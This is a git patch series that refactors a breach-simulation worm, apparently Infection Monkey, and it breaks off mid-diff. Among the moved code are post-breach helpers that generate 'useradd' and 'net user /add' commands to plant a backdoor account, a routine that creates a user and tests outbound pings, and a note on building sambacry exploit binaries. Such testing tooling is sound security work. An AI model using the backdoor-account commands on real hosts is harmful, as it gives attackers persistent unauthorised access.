a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -10,7 +10,7 @@ import re from six.moves import range from infection_monkey.pyinstaller_utils import get_binary_file_path -from infection_monkey.utils import is_64bit_python +from infection_monkey.utils.environment import is_64bit_python DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 75acf6fe0..49c2404de 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -6,11 +6,11 @@ import subprocess import time from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER -from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError +from infection_monkey.utils.windows.new_user import NewUser, NewUserError from infection_monkey.post_breach.actions.add_user import BackdoorUser from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os PING_TEST_DOMAIN = "google.com" diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 468a2b29b..89417757d 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -2,11 +2,11 @@ import os import logging from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient from infection_monkey.config import WormConfiguration -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.utils.monkey_dir import get_monkey_dir_path from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.tools.helpers import get_interface_to_target diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index fc074b563..22201ab7f 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -3,7 +3,7 @@ import subprocess from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os from infection_monkey.config import WormConfiguration from infection_monkey.telemetry.attack.t1064_telem import T1064Telem diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index c68422d4c..b5dfa93c7 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,7 +3,7 @@ import inspect import importlib from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.actions import get_pba_files -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 0b56da2f7..06bf449da 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -62,7 +62,7 @@ a. Build sambacry binaries yourself a.1. Install gcc-multilib if it's not installed sudo apt-get install gcc-multilib a.2. Build the binaries - cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner + cd [code location]/infection_monkey/exploit/sambacry_monkey_runner ./build.sh b. Download our pre-built sambacry binaries diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py deleted file mode 100644 index f8b5cc56a..000000000 --- a/monkey/infection_monkey/utils.py +++ /dev/null @@ -1,62 +0,0 @@ -import os -import shutil -import struct -import sys -import tempfile - -from infection_monkey.config import WormConfiguration - - -def get_monkey_log_path(): - return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ - else WormConfiguration.monkey_log_path_linux - - -def get_dropper_log_path(): - return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ - else WormConfiguration.dropper_log_path_linux - - -def is_64bit_windows_os(): - """ - Checks for 64 bit Windows OS using environment variables. - """ - return 'PROGRAMFILES(X86)' in os.environ - - -def is_64bit_python(): - return struct.calcsize("P") == 8 - - -def is_windows_os(): - return sys.platform.startswith("win") - - -def utf_to_ascii(string): - # Converts utf string to ascii. Safe to use even if string is already ascii. - udata = string.decode("utf-8") - return udata.encode("ascii", "ignore") - - -def create_monkey_dir(): - """ - Creates directory for monkey and related files - """ - if not os.path.exists(get_monkey_dir_path()): - os.mkdir(get_monkey_dir_path()) - - -def remove_monkey_dir(): - """ - Removes monkey's root directory - :return True if removed without errors and False otherwise - """ - try: - shutil.rmtree(get_monkey_dir_path()) - return True - except Exception: - return False - - -def get_monkey_dir_path(): - return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name) diff --git a/monkey/infection_monkey/monkey_utils/__init__.py b/monkey/infection_monkey/utils/__init__.py similarity index 100% rename from monkey/infection_monkey/monkey_utils/__init__.py rename to monkey/infection_monkey/utils/__init__.py diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py new file mode 100644 index 000000000..40a70ce58 --- /dev/null +++ b/monkey/infection_monkey/utils/environment.py @@ -0,0 +1,18 @@ +import os +import struct +import sys + + +def is_64bit_windows_os(): + """ + Checks for 64 bit Windows OS using environment variables. + """ + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py new file mode 100644 index 000000000..bb69dae5b --- /dev/null +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -0,0 +1,29 @@ +import os +import shutil +import tempfile + +from infection_monkey.config import WormConfiguration + + +def create_monkey_dir(): + """ + Creates directory for monkey and related files + """ + if not os.path.exists(get_monkey_dir_path()): + os.mkdir(get_monkey_dir_path()) + + +def remove_monkey_dir(): + """ + Removes monkey's root directory + :return True if removed without errors and False otherwise + """ + try: + shutil.rmtree(get_monkey_dir_path()) + return True + except Exception: + return False + + +def get_monkey_dir_path(): + return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py new file mode 100644 index 000000000..ad80bc73d --- /dev/null +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -0,0 +1,14 @@ +import os +import sys + +from infection_monkey.config import WormConfiguration + + +def get_monkey_log_path(): + return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ + else WormConfiguration.monkey_log_path_linux + + +def get_dropper_log_path(): + return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ + else WormConfiguration.dropper_log_path_linux diff --git a/monkey/infection_monkey/monkey_utils/windows/__init__.py b/monkey/infection_monkey/utils/windows/__init__.py similarity index 100% rename from monkey/infection_monkey/monkey_utils/windows/__init__.py rename to monkey/infection_monkey/utils/windows/__init__.py diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/utils/windows/new_user.py similarity index 100% rename from monkey/infection_monkey/monkey_utils/windows/new_user.py rename to monkey/infection_monkey/utils/windows/new_user.py diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 4a165940d..af904b143 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -10,7 +10,7 @@ from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS -from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python +from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' From 889c8a23787a971d3d6fbf6944393ec6c820cdc3 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 13:53:33 +0300 Subject: [PATCH 63/78] Moved user add+delete commands into `utils/users` --- .../post_breach/actions/add_user.py | 53 ++----------------- .../actions/communicate_as_new_user.py | 10 ++-- .../infection_monkey/utils/linux/__init__.py | 0 monkey/infection_monkey/utils/linux/users.py | 21 ++++++++ monkey/infection_monkey/utils/users.py | 10 ++++ .../windows/{new_user.py => auto_new_user.py} | 8 +-- .../infection_monkey/utils/windows/users.py | 18 +++++++ 7 files changed, 62 insertions(+), 58 deletions(-) create mode 100644 monkey/infection_monkey/utils/linux/__init__.py create mode 100644 monkey/infection_monkey/utils/linux/users.py create mode 100644 monkey/infection_monkey/utils/users.py rename monkey/infection_monkey/utils/windows/{new_user.py => auto_new_user.py} (89%) create mode 100644 monkey/infection_monkey/utils/windows/users.py diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 9bb8cfcba..09c8d4796 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,61 +1,16 @@ -import datetime - from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration +from infection_monkey.utils.users import get_commands_to_add_user class BackdoorUser(PBA): def __init__(self): - linux_cmds, windows_cmds = BackdoorUser.get_commands_to_add_user( - WormConfiguration.user_to_add, WormConfiguration.remote_user_pass) + linux_cmds, windows_cmds = get_commands_to_add_user( + WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass) super(BackdoorUser, self).__init__( POST_BREACH_BACKDOOR_USER, linux_cmd=' '.join(linux_cmds), windows_cmd=windows_cmds) - @staticmethod - def get_commands_to_add_user(username, password): - linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password) - return linux_cmds, windows_cmds - - @staticmethod - def get_linux_commands_to_add_user(username): - return [ - 'useradd', - '-M', # Do not create homedir - '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), - '--inactive', - '0', - '-c', # Comment - 'MONKEY_USER', # Comment - username] - - @staticmethod - def get_linux_commands_to_delete_user(username): - return [ - 'deluser', - username - ] - - @staticmethod - def get_windows_commands_to_add_user(username, password, should_be_active=False): - windows_cmds = [ - 'net', - 'user', - username, - password, - '/add'] - if not should_be_active: - windows_cmds.append('/ACTIVE:NO') - return windows_cmds - - @staticmethod - def get_windows_commands_to_delete_user(username): - return [ - 'net', - 'user', - username, - '/delete'] diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 49c2404de..725bf3bda 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -5,12 +5,12 @@ import string import subprocess import time +from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER -from infection_monkey.utils.windows.new_user import NewUser, NewUserError -from infection_monkey.post_breach.actions.add_user import BackdoorUser from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user, get_linux_commands_to_add_user PING_TEST_DOMAIN = "google.com" @@ -44,7 +44,7 @@ class CommunicateAsNewUser(PBA): def communicate_as_new_user_linux(self, username): try: # add user + ping - linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) + linux_cmds = get_linux_commands_to_add_user(username) commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN) linux_cmds.extend([";", "sudo", "-u", username, commandline]) final_command = ' '.join(linux_cmds) @@ -52,7 +52,7 @@ class CommunicateAsNewUser(PBA): self.send_ping_result_telemetry(exit_status, commandline, username) # delete the user, async in case it gets stuck. _ = subprocess.Popen( - BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) + get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) # Leaking the process on purpose - nothing we can do if it's stuck. except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() @@ -64,7 +64,7 @@ class CommunicateAsNewUser(PBA): import win32api try: - with NewUser(username, PASSWORD) as new_user: + with AutoNewUser(username, PASSWORD) as new_user: # Using os.path is OK, as this is on windows for sure ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") if not os.path.exists(ping_app_path): diff --git a/monkey/infection_monkey/utils/linux/__init__.py b/monkey/infection_monkey/utils/linux/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py new file mode 100644 index 000000000..1acc87d72 --- /dev/null +++ b/monkey/infection_monkey/utils/linux/users.py @@ -0,0 +1,21 @@ +import datetime + + +def get_linux_commands_to_add_user(username): + return [ + 'useradd', + '-M', # Do not create homedir + '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), + '--inactive', + '0', + '-c', # Comment + 'MONKEY_USER', # Comment + username] + + +def get_linux_commands_to_delete_user(username): + return [ + 'deluser', + username + ] diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py new file mode 100644 index 000000000..68148d9e9 --- /dev/null +++ b/monkey/infection_monkey/utils/users.py @@ -0,0 +1,10 @@ +from infection_monkey.utils.linux.users import get_linux_commands_to_add_user +from infection_monkey.utils.windows.users import get_windows_commands_to_add_user + + +def get_commands_to_add_user(username, password): + linux_cmds = get_linux_commands_to_add_user(username) + windows_cmds = get_windows_commands_to_add_user(username, password) + return linux_cmds, windows_cmds + + diff --git a/monkey/infection_monkey/utils/windows/new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py similarity index 89% rename from monkey/infection_monkey/utils/windows/new_user.py rename to monkey/infection_monkey/utils/windows/auto_new_user.py index 87d2da3b8..5cf840ad1 100644 --- a/monkey/infection_monkey/utils/windows/new_user.py +++ b/monkey/infection_monkey/utils/windows/auto_new_user.py @@ -2,7 +2,7 @@ import logging import subprocess from infection_monkey.post_breach.actions.add_user import BackdoorUser - +from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user logger = logging.getLogger(__name__) @@ -11,7 +11,7 @@ class NewUserError(Exception): pass -class NewUser(object): +class AutoNewUser(object): """ RAII object to use for creating and using a new user in Windows. Use with `with`. User will be created when the instance is instantiated. @@ -20,7 +20,7 @@ class NewUser(object): Example: # Created # Logged on - with NewUser("user", "pass") as new_user: + with AutoNewUser("user", "pass") as new_user: ... ... # Logged off and deleted @@ -64,6 +64,6 @@ class NewUser(object): # Try to delete user try: _ = subprocess.Popen( - BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) + get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py new file mode 100644 index 000000000..0e6847cff --- /dev/null +++ b/monkey/infection_monkey/utils/windows/users.py @@ -0,0 +1,18 @@ +def get_windows_commands_to_add_user(username, password, should_be_active=False): + windows_cmds = [ + 'net', + 'user', + username, + password, + '/add'] + if not should_be_active: + windows_cmds.append('/ACTIVE:NO') + return windows_cmds + + +def get_windows_commands_to_delete_user(username): + return [ + 'net', + 'user', + username, + '/delete'] From 77269fb3ce68a488ec2d64c9f713b807c8fe54ce Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:06:21 +0300 Subject: [PATCH 64/78] Extracted user name creation to separate function --- .../post_breach/actions/communicate_as_new_user.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 725bf3bda..165173ced 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -35,12 +35,16 @@ class CommunicateAsNewUser(PBA): super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) def run(self): - username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + username = self.get_random_new_user_name() if is_windows_os(): self.communicate_as_new_user_windows(username) else: self.communicate_as_new_user_linux(username) + @staticmethod + def get_random_new_user_name(): + return USERNAME + "_" + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + def communicate_as_new_user_linux(self, username): try: # add user + ping From b8f48d354278e78f02e02e2e3a13502afbefb0cc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:45:39 +0300 Subject: [PATCH 65/78] Unpacking struct from winapi --- .../post_breach/actions/communicate_as_new_user.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 165173ced..770e96b7d 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -79,7 +79,7 @@ class CommunicateAsNewUser(PBA): # Open process as that user: # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1") - process_info = win32process.CreateProcessAsUser( + process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser( new_user.get_logon_handle(), # A handle to the primary token that represents a user. None, # The name of the module to be executed. commandline, # The command line to be executed. @@ -95,18 +95,20 @@ class CommunicateAsNewUser(PBA): # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) - ping_exit_code = win32process.GetExitCodeProcess(process_info[0]) + ping_exit_code = win32process.GetExitCodeProcess(process_handle) counter = 0 while ping_exit_code == win32con.STILL_ACTIVE and counter < PING_WAIT_TIMEOUT_IN_SECONDS: - ping_exit_code = win32process.GetExitCodeProcess(process_info[0]) + ping_exit_code = win32process.GetExitCodeProcess(process_handle) counter += 1 - logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format(counter, ping_exit_code)) + logger.debug("Waiting for ping to finish, round {}. Exit code: {}".format( + counter, + ping_exit_code)) time.sleep(1) self.send_ping_result_telemetry(ping_exit_code, commandline, username) - win32api.CloseHandle(process_info[0]) # Process handle - win32api.CloseHandle(process_info[1]) # Thread handle + win32api.CloseHandle(process_handle) # Process handle + win32api.CloseHandle(thread_handle) # Thread handle except Exception as e: # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the From bc94e5854a67f8565c249de5a66bcd16fd26e325 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:54:02 +0300 Subject: [PATCH 66/78] Moved handle close to finally block --- .../post_breach/actions/communicate_as_new_user.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 770e96b7d..1b577e5d8 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -106,10 +106,6 @@ class CommunicateAsNewUser(PBA): time.sleep(1) self.send_ping_result_telemetry(ping_exit_code, commandline, username) - - win32api.CloseHandle(process_handle) # Process handle - win32api.CloseHandle(thread_handle) # Thread handle - except Exception as e: # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the # "Replace a process level token" right, using Local Security Policy editing. Worked, but only @@ -118,6 +114,12 @@ class CommunicateAsNewUser(PBA): # 2. need to find how to do this using python... PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() + finally: + try: + win32api.CloseHandle(process_handle) + win32api.CloseHandle(thread_handle) + except Exception as err: + logger.error("Close handle error: " + str(err)) except subprocess.CalledProcessError as err: PostBreachTelem(self, ( "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)), From bb8a5bf55d1e19d6e6fe4b31ff13dedb27a6890d Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:56:34 +0300 Subject: [PATCH 67/78] Deleted TODO --- .../post_breach/actions/communicate_as_new_user.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 1b577e5d8..5b5117681 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -107,11 +107,8 @@ class CommunicateAsNewUser(PBA): self.send_ping_result_telemetry(ping_exit_code, commandline, username) except Exception as e: - # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the - # "Replace a process level token" right, using Local Security Policy editing. Worked, but only - # after reboot. So: - # 1. need to decide if worth it, and then - # 2. need to find how to do this using python... + # If failed on 1314, it's possible to try to elevate the rights of the current user with the + # "Replace a process level token" right, using Local Security Policy editing. PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() finally: From 4330a397255e23dec83dae5d8f79660d5769898b Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:59:27 +0300 Subject: [PATCH 68/78] Removed unused PBA processing funcs --- .../post_breach/actions/communicate_as_new_user.py | 2 +- .../cc/services/telemetry/processing/post_breach.py | 5 +---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 5b5117681..1c5dfcf45 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -108,7 +108,7 @@ class CommunicateAsNewUser(PBA): self.send_ping_result_telemetry(ping_exit_code, commandline, username) except Exception as e: # If failed on 1314, it's possible to try to elevate the rights of the current user with the - # "Replace a process level token" right, using Local Security Policy editing. + # "Replace a process level token" right, using Local Security Policy editing. PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() finally: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index c67f64f59..c64849905 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -6,16 +6,13 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_use def process_communicate_as_new_user_telemetry(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - success = telemetry_json['data']['result'][1] message = telemetry_json['data']['result'][0] + success = telemetry_json['data']['result'][1] test_new_user_communication(current_monkey, success, message) POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, - # `lambda *args, **kwargs: None` is a no-op. - POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None, - POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None, } From dd9a4b2d101b1dcd7a7282c55f4bd6e7a35a57b8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 15:04:22 +0300 Subject: [PATCH 69/78] Refactored test_new_user_communication, mostly separated to functions --- .../communicate_as_new_user.py | 46 ++++++++++--------- 1 file changed, 25 insertions(+), 21 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index 564ce4d20..0c36b7b94 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -5,31 +5,35 @@ from monkey_island.cc.models.zero_trust.event import Event def test_new_user_communication(current_monkey, success, message): + AggregateFinding.create_or_add_to_existing( + test=TEST_COMMUNICATE_AS_NEW_USER, + status=STATUS_PASSED if success else STATUS_FAILED, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success) + ] + ) + + +def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( title="Communicate as new user", message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), event_type=EVENT_TYPE_MONKEY_NETWORK) - events = [tried_to_communicate_event] + return tried_to_communicate_event + +def get_result_event(current_monkey, message, success): if success: - events.append( - Event.create_event( - title="Communicate as new user", - message="New user created by Monkey on {} successfully tried to communicate with the internet. " - "Details: {}".format(current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) - ) - test_status = STATUS_FAILED + event_to_append = Event.create_event( + title="Communicate as new user", + message="New user created by Monkey on {} successfully tried to communicate with the internet. " + "Details: {}".format(current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) else: - events.append( - Event.create_event( - title="Communicate as new user", - message="Monkey on {} couldn't communicate as new user. Details: {}".format( - current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) - ) - test_status = STATUS_PASSED - - AggregateFinding.create_or_add_to_existing( - test=TEST_COMMUNICATE_AS_NEW_USER, status=test_status, events=events - ) + event_to_append = Event.create_event( + title="Communicate as new user", + message="Monkey on {} couldn't communicate as new user. Details: {}".format( + current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) + return event_to_append From 76c642e4b334ed49fc1e372481a32ca32804d841 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 15:08:22 +0300 Subject: [PATCH 70/78] Lowered code dup in get_result_event --- .../communicate_as_new_user.py | 23 ++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index 0c36b7b94..a48c3598a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -3,6 +3,10 @@ from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAIL from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event +COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" +COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ + "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" + def test_new_user_communication(current_monkey, success, message): AggregateFinding.create_or_add_to_existing( @@ -24,16 +28,9 @@ def get_attempt_event(current_monkey): def get_result_event(current_monkey, message, success): - if success: - event_to_append = Event.create_event( - title="Communicate as new user", - message="New user created by Monkey on {} successfully tried to communicate with the internet. " - "Details: {}".format(current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) - else: - event_to_append = Event.create_event( - title="Communicate as new user", - message="Monkey on {} couldn't communicate as new user. Details: {}".format( - current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) - return event_to_append + message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT + + return Event.create_event( + title="Communicate as new user", + message=message_format.format(current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) From 0a11c4b0076d6b70ef670cd3f5612281589317b8 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 16:17:30 +0300 Subject: [PATCH 71/78] Extracted duplicate code to `add_malicious_activity_to_timeline` helper function --- .../cc/models/zero_trust/aggregate_finding.py | 9 +++++++++ .../cc/models/zero_trust/test_aggregate_finding.py | 4 ++-- .../telemetry/zero_trust_tests/data_endpoints.py | 8 ++------ .../telemetry/zero_trust_tests/machine_exploited.py | 8 ++------ .../services/telemetry/zero_trust_tests/tunneling.py | 12 ++++-------- 5 files changed, 19 insertions(+), 22 deletions(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py index 613b9a4a2..c3ed52649 100644 --- a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -1,3 +1,4 @@ +from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY from monkey_island.cc.models.zero_trust.finding import Finding @@ -21,3 +22,11 @@ class AggregateFinding(Finding): orig_finding = existing_findings[0] orig_finding.add_events(events) orig_finding.save() + + +def add_malicious_activity_to_timeline(events): + AggregateFinding.create_or_add_to_existing( + test=TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=STATUS_VERIFY, + events=events + ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py index 